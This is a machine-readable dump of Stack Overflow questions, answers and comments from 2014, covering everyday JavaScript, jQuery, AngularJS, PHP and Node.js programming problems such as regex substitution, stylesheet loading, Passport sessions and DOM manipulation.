has title: how to call Helper Method(Server Side) from JavaScript(Client)?
has answer: http://stackoverflow.com/a/25739046
tagged with: custom-controls
answer count: 2

http://stackoverflow.com/comment/40274235
has text: I was still polishing the code. Try again. I made a small edit on `$.each`.
type: Comment
comment on: http://stackoverflow.com/a/25755406
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40245260
has text: "*How to show each active tab in different color"* - by tab you mean the accordian head, not its content, right?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25739490
type: Comment

http://stackoverflow.com/a/25877647
accepted answer of: http://stackoverflow.com/q/25836045
has comment: http://stackoverflow.com/comment/40498381
type: Answer
has comment: http://stackoverflow.com/comment/40498610
upvote count: 1
has body: With jquery tho following code would be an option: $(document).ready(function() { $('#selectId').on('change', function() { $('#restDivId').load('partialHtmlPage.php?value=' + $('#selectId').val()); }); });
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25836045
downvote count: 0
score: 1

http://stackoverflow.com/comment/40303897
type: Comment
has text: Why do you need to use Bootstap or whatever?
comment on: http://stackoverflow.com/a/25771615
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40380527
has text: @Parody, you can post code in comments by surrounding the code with back-ticks.
type: QuestionComment
comment on: http://stackoverflow.com/q/25813369
score: 0
type: Comment

http://stackoverflow.com/a/25780461
answers question: http://stackoverflow.com/q/25778877
upvote count: 1
score: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25778877
has body: Assuming that the frames are from the same domain, and assuming no one is messing around with the opener property, you can do this by looking at the opener property of the window. function rootWindow(win){ while(win.opener instanceof Window){ win = win.opener } return win; }

http://stackoverflow.com/q/25853739
favorite count: 0
has comment: http://stackoverflow.com/comment/40459817
has answer: http://stackoverflow.com/a/25853816
tagged with: regex
has answer: http://stackoverflow.com/a/25853814
has comment: http://stackoverflow.com/comment/40453466
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/4323456
has comment: http://stackoverflow.com/comment/40453203
has body: I'm well aware of the standard approach of using the RegExp object to match dynamic variables in JavaScript. However I'm having some difficulty with whitespacing. The aim is that there can be 0 or more white spaces in between {{ or }}, and the dynamic variable name. The behaviour I'm trying to mirror var regex = /\{\{\s*name\s*\}\}/g; var string = "Howdy, my name is {{ name}}"; string.replace(regex, "Chris") // =&gt; "Howdy, my name is Chris" My current code var keyName = "name"; var regex = new RegExp("\{\{\s*"+keyName+"\s*\}\}", "g"); var string = "Howdy, my name is {{ name}}"; string.replace(regex, "Chris") // =&gt; "Howdy, my name is {{ name}}" Am I missing something? Thanks
downvote count: 1
type: Question
possible better answer: http://stackoverflow.com/a/25853816
has comment: http://stackoverflow.com/comment/40455635
has title: Substituting Regex whitespace with JavaScript
tagged with: javascript
score: -1
answer count: 2
upvote count: 0
duplicate of: http://stackoverflow.com/q/4323456
accepted answer: http://stackoverflow.com/a/25853814

http://stackoverflow.com/comment/40447596
has text: _“but this supposed to be an array”_ – no, it’s not – [it’s an `HTMLCollection`](https://developer.mozilla.org/en-US/docs/Web/API/ParentNode.children)
comment on: http://stackoverflow.com/q/25850389
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25791131
type: Answer
answers question: http://stackoverflow.com/q/25790906
has comment: http://stackoverflow.com/comment/40338825
has comment: http://stackoverflow.com/comment/40338924
has body: If you are making a request to the same domain, you can use root-relative paths instead of including the domain. example: GET /path/to/action Otherwise you could use JSONP if the remote server supports it.
score: 0

http://stackoverflow.com/a/25813299
answers question: http://stackoverflow.com/q/25813175
has comment: http://stackoverflow.com/comment/40379579
score: 0
type: AcceptedAnswer
has body: Not sure why you'd want a checkbox that can't be unchecked but you can simply do this: $(".dontUncheck").click(function(e){ e.preventDefault(); $(this).prop("checked", "checked"); }); &lt;input type='checkbox' checked class="dontUncheck" /&gt; Here's the fiddle: http://jsfiddle.net/0x9vp6ca/
type: Answer
has comment: http://stackoverflow.com/comment/40379489
has comment: http://stackoverflow.com/comment/40379634
has comment: http://stackoverflow.com/comment/40379825
accepted answer of: http://stackoverflow.com/q/25813175
has comment: http://stackoverflow.com/comment/40380115
has comment: http://stackoverflow.com/comment/40379970

http://stackoverflow.com/comment/40232425
type: AnswerComment
score: 0
type: Comment
has text: if user open new instance in incognito window then the server will not be aware from the old session
comment on: http://stackoverflow.com/a/25732479

http://stackoverflow.com/comment/40449733
score: 0
has text: I'd recommend trying a solution before posting. I found it in a minute. line 1050 of the latest version. Once again. I don't recommend this.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25851097

http://stackoverflow.com/q/25725479
has comment: http://stackoverflow.com/comment/40218757
has comment: http://stackoverflow.com/comment/40221272
has comment: http://stackoverflow.com/comment/40220534
type: Question
has body: I have currently a problem with an angularjs app that needs to load different stylesheets while runtime. I currently build an angular editor that as a endresult while put out a completly on its own functional angular app. While editing the different masks there must be loaded different stylesheets, one for each mask, one for the template and one global that holds the global styling. I don't know why, but it only works once when first time a stylesheet gets loaded. The other stylesheets get cached but the rules are not applied to the elements. On the backend I have runing a node js webserver with socket.io the stylesheets get loaded over normal get over REST-Api. I really have no idea, will be very thankful if anybody can help me on this. Here is my code of the cssService that should add the stylesheet: ### *Here we add a stylesheet to the header *@param appData this is the object from builtApp service *@param styleSheetType this is type of stylesheet that should be added we have global and custom *@author Sebastian Zankel (sez_e@hoeft-wessel.de) ### _addStyleSheet = (appData, styleSheetType)-&gt; port = 8081 protocol = window.location.protocol hostname = window.location.hostname ###Get the parts of the url### t = $location.absUrl().split("/") ###Get name of the template### viewType = t[t.length-2] ###We save the file as json### fileType = 'css' ###foldername we currently work in### folder = t[t.length-1] ###Empy the style tag### angular.element('head').find('#style').html() if viewType.toString().toLowerCase() is "template" and (styleSheetType is undefined or styleSheetType is null) fileName = 'template.css' style = document.createElement( 'link' ); style.rel = 'stylesheet' style.type = 'text/css' style.title = viewType.toString().toLowerCase() style.href = protocol + '//' + hostname + ':' + port + "/file/" + viewType + "/" + folder + "/" + fileType + "/" + fileName + "?v=1." + Math.round(Math.random() *100) #angular.element('link[title="' + viewType.toString().toLo…
has comment: http://stackoverflow.com/comment/40220387
tagged with: javascript
has comment: http://stackoverflow.com/comment/40221311
score: 0
has comment: http://stackoverflow.com/comment/40219505
tagged with: angularjs
type: UnansweredQuestion
tagged with: css
tagged with: node.js
has title: Adding Stylesheet through runtime only working once (Angular.js SPA)
answer count: 0
has comment: http://stackoverflow.com/comment/40221827

http://stackoverflow.com/comment/40264389
comment on: http://stackoverflow.com/q/25750205
score: 0
type: QuestionComment
has text: Maybe view source on the page, they may really be &quot;
type: Comment

http://stackoverflow.com/comment/40416781
has text: @charlietfl There definitely is a ` ` tag. I'm guessing you just missed it. Also, it doesn't work regardless of the `html5Mode` value.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25833675
score: 1

http://stackoverflow.com/comment/40224809
comment on: http://stackoverflow.com/a/25719225
type: AnswerComment
type: Comment
score: 1
has text: I'd also add that there seems to be no reason to use `db.eval` here. Just run `db.notes.find()` from your client. Avoid `db.eval` whenever possible.

http://stackoverflow.com/comment/40312051
type: AnswerComment
comment on: http://stackoverflow.com/a/25774915
type: Comment
has text: In my experience observing array properties seem to cause quite a performance impact so i tend to stay away from it if possible. Also i am not sure if you can access item controllers from parent, but if you 'really' need to observe item controllers then you can push your item controllers to the array controller when you initialize your todo controller - which i think is even worse solution. Personally i think you should be able to do what you want to just by using setupController in your todo route or the other hooks i mentioned.
score: 0

http://stackoverflow.com/a/25858562
accepted answer of: http://stackoverflow.com/q/25857668
answers question: http://stackoverflow.com/q/25857668
type: AcceptedAnswer
score: 0
has body: Short: you can't turn it off. Long: You should move the processing of form to the beginning. At first you check if form was submitted and if so you process the data. On the other hand, when form was not submitted, you just show the form. The idea here is that when you find errors on processing the data, you can display the error message and also show the form again. The good part here is that now you can fill the parts of form that are correct with the $_POST values you got. Something like this: ... &lt;input type="text" name="username" value="&lt;?php echo $_POST["username"]?&gt;" /&gt; ... Now the user just fills the ones that had errors and resubmits. If it passes you proceed with your email part. Note that you should sanitize the $_POST array before you use it. ( look: stripslashes, trim, htmlspecialchars ) Hope I made myself clear :) Sorry, it's late, so I made an example of what i meant: sample php code
type: Answer

http://stackoverflow.com/q/25829390
duplicate of: http://stackoverflow.com/q/111102
possible better answer: http://stackoverflow.com/a/25829435
type: Question
has comment: http://stackoverflow.com/comment/40408828
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40409964
answer count: 3
linked to: http://stackoverflow.com/q/111102
upvote count: 1
has title: JavaScript Lexical Scope Function Declaration vs Definition
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40409059
has body: If a function is declared in the global scope, but defined within a local scope, which scope does it belong to? I ask because I know it has access to the local function's scope (where it is defined in), but the declaration confuses me. Example: var funcDef; function a() { var msg = "Hello, world!"; funcDef = function() { return msg; } } a(); console.log(funcDef()); // prints Hello, world! My understanding is the variable, funcDef itself is bound to the global scope, and its function declaration is still bound within a()'s scope. Can someone confirm?
has comment: http://stackoverflow.com/comment/40409026
has comment: http://stackoverflow.com/comment/40409703
has answer: http://stackoverflow.com/a/25829436
has answer: http://stackoverflow.com/a/25829435
downvote count: 0
has answer: http://stackoverflow.com/a/25829414
accepted answer: http://stackoverflow.com/a/25829414

http://stackoverflow.com/comment/40217689
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25725081
type: QuestionComment
has text: try removing the single quotes.

http://stackoverflow.com/q/25734184
tagged with: jquery-animate
has title: On hover, how change several properties with jQuery animation
has answer: http://stackoverflow.com/a/25742983
tagged with: javascript
tagged with: jquery
score: 0
has body: I have a page full of thumbnail pictures. On hovering over one, I want to enlarge it, without disturbing the layout of the rest of the pictures. Each picture is in a wrapper div, kept stationary when the pic is enlarged I can do it with CSS by: changing the z-index from 0 to 1 changing the display property to 'absolute' Setting left:0 and top:0 (just in case) Then setting width:340px and height:auto (needed for ie8 I think). CSS .wrapper:hover > .Img { width:300px; position: absolute;z-index:1; left:0; top:0; } But I want to animate the increase in size. I started using: $('.wrapper').hover(function() {... but then read that hover can only have one function. So I tried mouseenter and mouseleave without success. What I tried is: $('.Wrapper.).mouseenter(function() { $('.Img').animate({ zIndex:1 },1,"swing" ); /* this line works */ document.getElementsByClassName('.Img').style.zIndex="1"; /* this doesnt */ document.getElementsByClassName('Img').style.position="absolute"/* this doesnt */ $('.Img').animate({ position:"absolute" },1,"swing"); /* this doesnt */ $('.Img').animate({width: '300px', height: '240px'},5000,"swing"); }); $("#testXX").mouseleave(function() { /* with the reverse of above */ }); Could someone point me in the right direction please. --- EDITED?ADDED THIS LATER: --- Thanks for your ideas. I've done more research and the issue seems to be: With javascript, I don't know how to change the position to 'absolute', but I can now change the other properties. document.getElementById(this).position='absolute'; doesnt work document.getElementsByClassName('.Img').style.position="absolute"; doesnt work $('.Img').animate({ position:'absolute' },001,'swing'); doesnt work! I guess I could use a mixture of CSS (to do the change to absolute) and Javascript (to do the other animation), but I'm concerned about the sequence/timing causing display effects on the rest of the page. fyi: The CSS version is here: http://www.frog-records.co.uk/.... or (if solved by the time y…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40235010
type: Question
has answer: http://stackoverflow.com/a/25734229
answer count: 2

http://stackoverflow.com/q/25745418
answer count: 2
linked to: http://stackoverflow.com/q/60174
has answer: http://stackoverflow.com/a/25745469
tagged with: javascript
score: 0
accepted answer: http://stackoverflow.com/a/25745469
type: AnsweredQuestion
has title: PHP MySQL Query returning data but unable to display
tagged with: php
has body: I'm trying to display data from my database based on a select form. I'm using js and php to achieve this. In my header I have the js: The code for the select page: <?php include 'header.php'; mysql_connect("#####", "#####", "########") or die(mysql_error()); mysql_select_db("######") or die(mysql_error()); $result = mysql_query("SELECT * FROM medlemmer"); ?> <?php $i = 0; while($row = mysql_fetch_array($result)) { if (!$i++) echo " Vælg medlem " ?> <option value="<?php echo $row[medlemmer_id] ?>"><?php echo $row[medlemmer_navn] ?> <?php } $i++; ?> Person info will be listed here. And finally the php code which should return the query results from the selection: <?php $q = intval($_GET['q']); mysql_connect("######", "#######", "######") or die(mysql_error()); mysql_select_db("######") or die(mysql_error()); $result4 = mysql_query("SELECT boder_boder_id, medlemmer_medlemmer_id, medlemmer_navn, medlemmer_id, boder_navn, boder_id, boder_pris FROM boder_has_medlemmer, medlemmer, boder WHERE boder_boder_id = boder_id AND medlemmer_medlemmer_id = medlemmer_id AND medlemmer_id ='$q' "); if (mysql_num_rows($result4) == 0) echo "Query returned 0 rows"; while($row = mysqli_fetch_array($result4)) { echo $row[medlemmer_navn].' '; echo $row[boder_pris].' kr.'; } ?> I run a check to make sure that the query is returning something. I get no errors. I'm relatively new to this. Any suggestions to what is going wrong? I can see that something happens if i click on the select form. But nothing is displayed.
type: Question
tagged with: mysql
possible better answer: http://stackoverflow.com/a/25745497
has answer: http://stackoverflow.com/a/25745497

http://stackoverflow.com/comment/40367896
comment on: http://stackoverflow.com/a/25807017
score: 0
type: AnswerComment
type: Comment
has text: IT's the same, just replace his template with yours. The key point is to use `=` and pass `games` instead of `{{games}}`. With `@` you are passing text instead of a scope variable

http://stackoverflow.com/comment/40769966
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25852013
has text: Can you add an example of your tels.json to the question? I can then check to see if your $.map is set-up correctly.

http://stackoverflow.com/comment/40712400
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25866540
has text: Could you recreate issue on jsFiddle? Thanks. Or just use scatter solution.
type: AnswerComment

http://stackoverflow.com/comment/40283890
type: Comment
has text: @dandavis can you please show it in answer. sorry i can't figure out how to do it.
type: QuestionComment
comment on: http://stackoverflow.com/q/25754726
score: 0

http://stackoverflow.com/comment/40446020
score: 1
has text: You do not need to add spaces. using word boundaries should suffice: `/^I\b.*\b(one|two)\b/`
comment on: http://stackoverflow.com/a/25849654
type: Comment
type: AnswerComment

http://stackoverflow.com/q/25830824
tagged with: angularjs-directive
type: AnsweredQuestion
has body: I have an angularjs directive which listens to on paste event of my textarea: element.on('paste', function (event) { }); How do i get the pasted text? I tried: event.clipboardData.getData('text/plain') ... and: event.originalEvent.clipboardData ... but both didn't work. Any suggestions would be helpful.
score: 1
has answer: http://stackoverflow.com/a/25831575
duplicate of: http://stackoverflow.com/q/2176861
type: Question
upvote count: 2
has title: angularjs : on paste get pasted text
linked to: http://stackoverflow.com/q/2176861
answer count: 1
tagged with: javascript
downvote count: 1
favorite count: 0
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25831575

http://stackoverflow.com/q/25802068
upvote count: 4
has comment: http://stackoverflow.com/comment/40393434
has comment: http://stackoverflow.com/comment/40412491
answer count: 0
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40398104
type: Question
has title: How to reuse WebRTC socket when the page reload?
tagged with: javascript
tagged with: voip
score: 4
has comment: http://stackoverflow.com/comment/40402577
has comment: http://stackoverflow.com/comment/40369751
has comment: http://stackoverflow.com/comment/40401416
tagged with: webrtc
favorite count: 0
tagged with: ajax
tagged with: sockets
has body: I'm using WebRTC JS to create peer-to-peer voice calls. The problem is that once I close the window (which includes WebRTC lib) I lose the session. The lib has to load whenever a user loads a new page. This can have terrible implications on performance. WebRTC uses websockets, and the site uses http requests for navigation so pages reload when a user navigates, this closes the websocket and hence the call. I don't want to use iframe or use SPA with Ajax calls. Is there anyway we can reuse the TCP socket when the page reload?

http://stackoverflow.com/comment/40354169
comment on: http://stackoverflow.com/a/25799110
score: 0
type: AnswerComment
has text: I would also extract our the conditional into a separate method.
type: Comment

http://stackoverflow.com/q/25732131
has title: Passport + Express4 not getting authenticated when using AJAX
downvote count: 0
has comment: http://stackoverflow.com/comment/40231037
tagged with: passport.js
favorite count: 0
tagged with: ajax
has answer: http://stackoverflow.com/a/48029779
has comment: http://stackoverflow.com/comment/40230869
has body: I hava an issue ussing Passport: I'm not being able to check if a user is authenticated when calling my custom endpoints. I have configured my Express4 application in the following way: app.use(morgan('dev')); // log every request to the console app.use(cookieParser()); // read cookies (needed for auth) app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: true })); // required for passport app.use(session({ secret: 'secretphrase' })); // session secret app.use(passport.initialize()); app.use(passport.session()); // persistent login sessions app.use(checkAuth); // CHECK SESSION app.use(flash()); // use connect-flash for flash messages stored in session app.use(prepareRequests); The checkAuth() middleware has the following code: var checkAuth = function(request, response, next) { console.log("------------"); console.log("checkAuth user: " + request.session.passport.user); console.log("checkAuth isAuthenticated: " + request.isAuthenticated()); next(); } The first time I try to login with passport, isAuthenticated is false. Once I'm logged in, every call I do to my server, when passing thorugh my middleware, isAuthenticated is false too!!! But, the strange thing is that if I try to login again, isAuthenticated is true. That means that only my AJAX calls return isAuthenticated = false, but when I maka a form post or click on a link to the API, it return true! Then the session is stored, but not for the AJAX request. What I'm doing wrong? Are the cookies not being passed?
possible better answer: http://stackoverflow.com/a/48029779
tagged with: node.js
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40231009
has answer: http://stackoverflow.com/a/25732825
type: Question
accepted answer: http://stackoverflow.com/a/25732825
linked to: http://stackoverflow.com/q/2870371
tagged with: javascript
has comment: http://stackoverflow.com/comment/40231241
score: 4
tagged with: express
upvote count: 4
answer count: 2

http://stackoverflow.com/comment/40353911
score: 1
has text: @Derek朕會功夫 This code (written when it was the previous code) isn't that bad, although I would separate the prompt from the condition for readability. Also, "creating a new array" is entirely irrelevant in terms of any performance implication here.
comment on: http://stackoverflow.com/a/25799064
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40246907
type: QuestionComment
score: 0
has text: @syd that would be good ;))
comment on: http://stackoverflow.com/q/25740172
type: Comment

http://stackoverflow.com/a/25754163
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40272282
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/40273405
has body: On click, animate() scroll the body to the top and, when complete, focus() on the first an input. $('a[href="#register"]').click(function(e){ e.preventDefault(); $("html, body").animate({ scrollTop: "0px" }, 1000, function(){ $('input#Name_First').focus(); }); }); In jQuery, you can select based on the value of an attribute, like so a[href="#register"] You have to focus() when the animation completes or both fire at the same time and the page jumps jsFiddle Demo
downvote count: 0
has comment: http://stackoverflow.com/comment/40273284
accepted answer of: http://stackoverflow.com/q/25754071
answers question: http://stackoverflow.com/q/25754071
has comment: http://stackoverflow.com/comment/40272659
score: 4

http://stackoverflow.com/a/26094470
answers question: http://stackoverflow.com/q/25846305
type: Answer
accepted answer of: http://stackoverflow.com/q/25846305
has body: You can simply give a single class to both delete button 'delete1' and use following code $('.delete1').on('click', function() { deleteLi($(this).parents('li')); }); If your css if different for that delete button then multiple class selector in jQuery. Edited the code as per the comments: $('.delete1, .delete2').on('click', function() { if(currentField == null) { currentField = $(this).parents('li'); } deleteLi(currentField); });
has comment: http://stackoverflow.com/comment/40964932
has comment: http://stackoverflow.com/comment/40970504
score: 0
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40948419
has comment: http://stackoverflow.com/comment/40962280
has comment: http://stackoverflow.com/comment/40930181
has comment: http://stackoverflow.com/comment/40898198
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40965072

http://stackoverflow.com/q/25811932
downvote count: 0
tagged with: javascript
tagged with: jquery
has title: Phonegap fires keyboarddown and keyboardup on pressing the auto rotate button in the android pulldown menu
has body: Phonegap fires keyboarddown and keyboardup on pressing the auto rotate button in the android pulldown menu. Does anyone know how this is possible. I got this as event listener: document.addEventListener("deviceready", onDeviceReady, false); function onDeviceReady() { document.addEventListener("backbutton", onBackKeyDown, false); document.addEventListener("menubutton", onMenuKeyDown, false); document.addEventListener('showkeyboard',hideNavbar, false); document.addEventListener('hidekeyboard',showNavbar, false); } function onBackKeyDown() { history.go(-1); navigator.app.backHistory(); } function onMenuKeyDown() { $(".navbar-toggle").trigger("click"); } function hideNavbar(){ $(".navbar").hide(500); } function showNavbar(){ $(".navbar").show(500); }
favorite count: 0
tagged with: cordova
answer count: 0
type: UnansweredQuestion
tagged with: android
upvote count: 1
score: 1
type: Question

http://stackoverflow.com/comment/40283473
score: 0
type: Comment
type: QuestionComment
has text: Why does it matter that “the placeholder tag doesn’t exist”? It will be parsed and it is available, it’s treated as unknown element by browsers. But using invented tags is seldom a good idea, and you should consider a different approach, like simply having an empty `div` with the attributes and then changing its content with a script. (Using `span` here violates HTML rules since you are later inserting a `div` inside it.)
comment on: http://stackoverflow.com/q/25759480

http://stackoverflow.com/a/25783659
accepted answer of: http://stackoverflow.com/q/25783411
type: Answer
upvote count: 2
score: 2
has body: If you want to prevent tight coupling of the different modules, you can broadcast an event and catch it in the respective controllers: .factory('MyCollection', ['$rootScope', function($rootScope) { return { resetAll: function(projectId) { $rootScope.$broadcast('reset'); } }; }]); .controller('SomeController', ['$scope', 'a', function($scope, a) { $scope.reset = function() { // do something here }; $scope.$on('reset', function() { $scope.reset(); }); }]); To learn about Angular's events have a look at Understanding Angular’s $scope and $rootScope event system $emit, $broadcast and $on
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25783411

http://stackoverflow.com/q/25866236
tagged with: node.js
type: AnsweredQuestion
score: 1
upvote count: 1
has body: I'm completely new to node.js and mongodb and i have a question regarding the synchronisation of multiple requests which occur in the same timeperiod. I already read some threads regarding this topic but i have not found an satisfying answer yet... I have the following scenario: The Documents in my Collection have a state property. On a request i select a Document based on the state and update the state afterwards. The problem is now if there are multiple requests at the same time all requests would select the same Document because the first update is not yet written to the db but each request should get an "own Document" to work with. Is it evan a good idea to use node.js and mongodb for this requirements or should i stick with "the classic" approaches of RDBMS? My main focus is on scalability thats the reason why i chose node.js and mongodb in the first place. I'm very thankfull for every advice you could give me, Best Regards
type: Question
tagged with: mongodb
has comment: http://stackoverflow.com/comment/40476438
tagged with: javascript
has comment: http://stackoverflow.com/comment/40475971
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/25872986
favorite count: 0
has title: mongodb synchronize requests
has answer: http://stackoverflow.com/a/25872986

http://stackoverflow.com/comment/40388598
has text: Check this thread. http://stackoverflow.com/questions/17772260/textarea-auto-height
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25817804
score: 1

http://stackoverflow.com/a/25719817
answers question: http://stackoverflow.com/q/25719778
has comment: http://stackoverflow.com/comment/40239204
has body: If this is the actual code the problem is quote obvious: you are setting the variables $a and $b but reading from the undefined variables $name and $age. Fix it in the setting part: &lt;?php $name = $_POST['name']; $age = $_POST['age']; ?&gt;
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40243021

http://stackoverflow.com/q/25736192
downvote count: 0
score: 1
linked to: http://stackoverflow.com/q/3693244
has comment: http://stackoverflow.com/comment/40238895
type: Question
accepted answer: http://stackoverflow.com/a/25736736
has comment: http://stackoverflow.com/comment/40238831
has title: What is the best way to inject extremely long html snippets into a single page app?
tagged with: javascript
tagged with: jquery
answer count: 2
possible better answer: http://stackoverflow.com/a/25736526
upvote count: 1
has answer: http://stackoverflow.com/a/25736736
tagged with: http://stackoverflow.com/tag/html
tagged with: single-page-application
has answer: http://stackoverflow.com/a/25736526
has comment: http://stackoverflow.com/comment/40239260
favorite count: 0
has comment: http://stackoverflow.com/comment/40241771
has comment: http://stackoverflow.com/comment/40239855
has body: I'm building a fairly simple single page application, mostly it's just a couple of views where users save and work with some local storage data. I opted not to use any templating framework because it's mostly pretty simple JavaScript/jQuery, but maybe it would be worthwhile to use backbone or something. Right now it's just a single index.html and a few .js files. There is one view in this application however that I'm not sure how to proceed with. It's really mostly just text, a lot of html text. Ten chapters of rules mostly. My question is, what is the best format to keep this text in that lets it still be workable and easy to inject when the user clicks that chapter? Right now I just have a json object for each chapter with a crazy long string with the html for the text in it, but that's proving less than ideal. So what is the best way to work with huge chunks of html instead of just really long strings? Ideally I could keep each chapter as a separate file to make them easier to update.
type: AnsweredQuestion

http://stackoverflow.com/q/25807601
has comment: http://stackoverflow.com/comment/40368495
type: Question
type: AnsweredQuestion
answer count: 3
has comment: http://stackoverflow.com/comment/40368787
upvote count: 1
has comment: http://stackoverflow.com/comment/40368515
has body: When clicking on a button my testResults() function is fired. It creates the divs as it should. I want the #parent div to be cleared everytime the button is clicked. BUT it only does it the first time you click. The second time you click the #parent div is not cleared and the new divs are just appended. This is my code: // DECLARATIONS var searchActive = false, emailAddresses = [], firstName, lastName, domainName; // MAIN FUNCTION function testResults (form) { // TRYING TO DELETE INNERHTML EVERYTIME SOMEONE CLICKS // VARIANT 1 --&gt; NOT WORKING document.getElementById("parent").innerHTML = ""; // VARIANT 2 --&gt; NOT WORKING $( "#parent" ).html(""); // VARIANT 3 --&gt; NOT WORKING ASWELL var div = document.getElementById('parent'); while(div.firstChild){ div.removeChild(div.firstChild); } // CHECK IF ALL FIELDS ARE FILLED IN (INCOMPLETE) if (!form.firstName.value) { alert("Bitte fülle alle Felder aus!"); } if (! form.lastName.value) { alert("Bitte fülle alle Felder aus!"); } if (! form.domainName.value) { alert("Bitte fülle alle Felder aus!"); } // SAVE VALUES FROM THE FIELDS firstName = form.firstName.value; lastName = form.lastName.value; domainName = form.domainName.value; // STRING MODIFICATIONS firstName = firstName.toLowerCase(); firstName = firstName.replace(/ä/g,"ae").replace(/ö/g,"oe").replace(/ü/g,"ue"); lastName = lastName.toLowerCase(); lastName = lastName.replace(/ä/g,"ae").replace(/ö/g,"oe").replace(/ü/g,"ue").replace(/ß/g,"ss"); // ADD ADDRESSES TO ARRAY emailAddresses.push(firstName + "." + lastName + "@" + domainName); emailAddresses.push(firstName + "@" + domainName); // ITERATE OVER ARRAY, CREATE A DIV FOR EACH EMAILADDRESS for (i = 0; i &lt; emailAddresses.length; i++) { $( "#parent" ).append( "&lt;div class='alert alert-info'&gt;" + emailAddresses[i] + "&lt;/div&gt;"); } } Why is it not clearing the #parent div even though I have tried 3 different variants? The console is empty aswell. jsfiddle link: http://jsfiddle.net/zdeahcqc/
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40368655
has answer: http://stackoverflow.com/a/25807988
accepted answer: http://stackoverflow.com/a/25807988
has answer: http://stackoverflow.com/a/25807802
favorite count: 0
has comment: http://stackoverflow.com/comment/40368445
score: 0
has comment: http://stackoverflow.com/comment/40368611
has comment: http://stackoverflow.com/comment/40368614
has title: Why is it not clearing my div? (Javascript & Jquery)
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
has comment: http://stackoverflow.com/comment/40368484
possible better answer: http://stackoverflow.com/a/25807991
has comment: http://stackoverflow.com/comment/40368548
has answer: http://stackoverflow.com/a/25807991

http://stackoverflow.com/comment/40196382
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25713853
has text: I already know if the form exists or not, and I already know all the id of its elements, I need to know if the click that I'm recording is done on one of these items or not

http://stackoverflow.com/q/25793124
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40342369
tagged with: php
has title: How to deal with illegal characters in javascript function parameters
has answer: http://stackoverflow.com/a/25793185
has body: I have a javascript function that I am calling in my code: &lt;script type="text/javascript"&gt; opener.postConditionPostCure( "&lt;?php echo get_field('cure_description'); ?&gt;" ); &lt;/script&gt; The issue is that I do not know what will be echoed by the php. I just ran into an issue where the javascript is failing because the php is echoing an illegal token, in this case the "(". How can this issue be dealt with. Thanks.
type: Question
has comment: http://stackoverflow.com/comment/40342344
tagged with: javascript
has comment: http://stackoverflow.com/comment/40342360
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25793306

http://stackoverflow.com/q/25774628
tagged with: javascript
linked to: http://stackoverflow.com/q/5306315
answer count: 1
downvote count: 0
tagged with: ecmascript-5
has comment: http://stackoverflow.com/comment/40309501
favorite count: 0
has body: I started to use JS Promises in a project recently. I noticed that every time I use .catch my JS linter complains. It does run and does what it should but I looked up the ECMAScript spec and it really looks like it is right: Since catch is a keyword it can not be used as an identifier. As I understand method names are identifiers, so this is invalid: Promise.reject("Duh").catch(alert); It should be this instead: Promise.reject("Duh")['catch'](alert); What am I missing?
linked to: http://stackoverflow.com/q/12553153
tagged with: promise
upvote count: 8
has title: Is the 'catch' method name of JS Promises/A+ invalid since it's a JS keyword?
score: 8
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25774665
type: Question
accepted answer: http://stackoverflow.com/a/25774665
has comment: http://stackoverflow.com/comment/40309387
has comment: http://stackoverflow.com/comment/40309340

http://stackoverflow.com/comment/40368053
comment on: http://stackoverflow.com/q/25806876
type: Comment
type: QuestionComment
has text: Games contains the JSON shown. I don't know why the JSON returns @ symbols, it is a third party API.
score: 0

http://stackoverflow.com/q/25834050
tagged with: d3.js
type: UnansweredQuestion
has title: How to change colors pixel by pixel with d3.js / SVG?
answer count: 0
type: Question
has comment: http://stackoverflow.com/comment/40419024
tagged with: javascript
score: 0
has body: I have a svg element with a height and width of 800px and calculated every pixel's color of it stored in an two-dimension array color[800][800]. How can I change colors pixel by pixel with d3.js / SVG? I think of one method: create 800*800 circles with a radius of 0.5px and assign the color[800][800] to their fill attributes. But it's too ugly, right? Is there any way more elegant?
tagged with: http://stackoverflow.com/tag/svg
has comment: http://stackoverflow.com/comment/40417228

http://stackoverflow.com/a/25750972
has body: That's because :checked selector checks the checked property of the elements which is different from the checked attribute.
has comment: http://stackoverflow.com/comment/40265630
has comment: http://stackoverflow.com/comment/40266100
type: AcceptedAnswer
type: Answer
upvote count: 4
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25750908
answers question: http://stackoverflow.com/q/25750908
score: 4

http://stackoverflow.com/comment/40350038
type: AnswerComment
has text: Define **invalid hex** ?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25796843

http://stackoverflow.com/a/25810517
